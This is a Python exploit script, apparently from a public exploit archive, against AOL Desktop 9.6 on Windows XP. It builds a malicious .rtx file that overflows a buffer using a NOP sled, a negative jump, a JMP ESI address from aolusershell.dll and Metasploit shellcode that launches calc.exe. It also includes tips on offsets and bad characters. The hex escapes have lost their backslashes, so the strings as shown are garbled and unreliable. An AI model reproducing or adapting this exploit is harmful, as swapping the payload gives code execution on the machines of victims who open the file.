#!/usr/bin/python
# Vulnerable app: AOL Desktop 9.6
# Author: sickness
# Download : http://daol.aol.com/software/aoldesktop96/
# Tested : Windows XP Professional SP3 (EN) latest updates
# DATE   : 02/02/2011
# NOTE: If exploit doesn't work turn AOL off (CTRL+ALT+DELETE and turn all AOL processes off) then try again
# DO NOT FORGET TO FEEL THE PWNSAUCE WITH: http://redmine.corelan.be:8800/projects/pvefindaddr
###################################################################
# You might need to change the offset.
# If you want a payload larger than 400 bytes, then you need to increase the negative jump
# Watch out for other bad chars !!
# Current bad chars: x00x0ax0dx20x31x90x3e
###################################################################


# First Header
hd1 = ("x3cx48x54x4dx4cx3ex3cx46x4fx4ex54x20x20x53x49x5a"
"x45x3dx32x20x50x54x53x49x5ax45x3dx31x30x20x46x41"
"x4dx49x4cx59x3dx22x53x41x4ex53x53x45x52x49x46x22"
"x20x46x41x43x45x3dx22x41x72x69x61x6cx22x20x4cx41"
"x4ex47x3dx22x30x22x3ex3cx41x20x48x52x45x46x3dx22"
"x68x74x74x70x3ax2fx2f")

# Second Header
hd2 = ("x22x3ex74x65x73x74x3cx2fx41x3ex3cx55x3ex3cx42x52"
"x3ex0dx0ax3cx2fx55x3ex3cx2fx46x4fx4ex54x3ex3cx2f"
"x48x54x4dx4cx3ex0dx0a")
  
payload='x90'*	4968	# 5368 until EIP overwrite - 400 bytes from the negative jump.
payload += 'x90'*16	# Some nops

# msfpayload windows/exec CMD=calc.exe R | msfencode -a x86 -b 'x00x0ax0dx20x31x90x3e' -t c

payload +=("x33xc9x83xe9xcexe8xffxffxffxffxc0x5ex81x76x0e"
"x17x22xfdx6ax83xeexfcxe2xf4xebxcax74x6ax17x22"
"x9dxe3xf2x13x2fx0ex9cx70xcdxe1x45x2ex76x38x03"
"xa9x8fx42x18x95xb7x4cx26xddxccxaaxbbx1ex9cx16"
"x15x0exddxabxd8x2fxfcxadxf5xd2xafx3dx9cx70xed"
"xe1x55x1exfcxbax9cx62x85xefxd7x56xb7x6bxc7x72"
"x76x22x0fxa9xa5x4ax16xf1x1ex56x5exa9xc9xe1x16"
"xf4xccx95x26xe2x51xabxd8x2fxfcxadx2fxc2x88x9e"
"x14x5fx05x51x6ax06x88x88x4fxa9xa5x4ex16xf1x9b"
"xe1x1bx69x76x32x0bx23x2exe1x13xa9xfcxbax9ex66"
"xd9x4ex4cx79x9cx33x4dx73x02x8ax4fx7dxa7xe1x05"
"xc9x7bx37x7dx23x70xefxaex22xfdx6ax47x4axccxe1"
"x78xa5x02xbfxacxd2x48xc8x41x4ax5bxffxaaxbfx02"
"xbfx2bx24x81x60x97xd9x1dx1fx12x99xbax79x65x4d"
"x97x6ax44xddx28x09x76x4ex9ex44x72x5ax98x6a")
payload += 'x90'*(5368-len(payload))
payload += 'xe9x70xfexffxff'	# Jump back 400 bytes
payload += 'x90'*11
payload += 'xC0xCFxC5x20'		# Universal JMP ESI from [aolusershell.dll]
payload += 'x90'*(6000-len(payload))

exploit = hd1+payload+hd2
 
try:
   file=open('exploit.rtx','w')
   file.write(exploit)
   file.close()
   print 'File created, time to PEW PEW!n'
except:
   print 'Something went wrong!n'
   print 'Check if you have permisions to write in that folder, of if the folder exists!'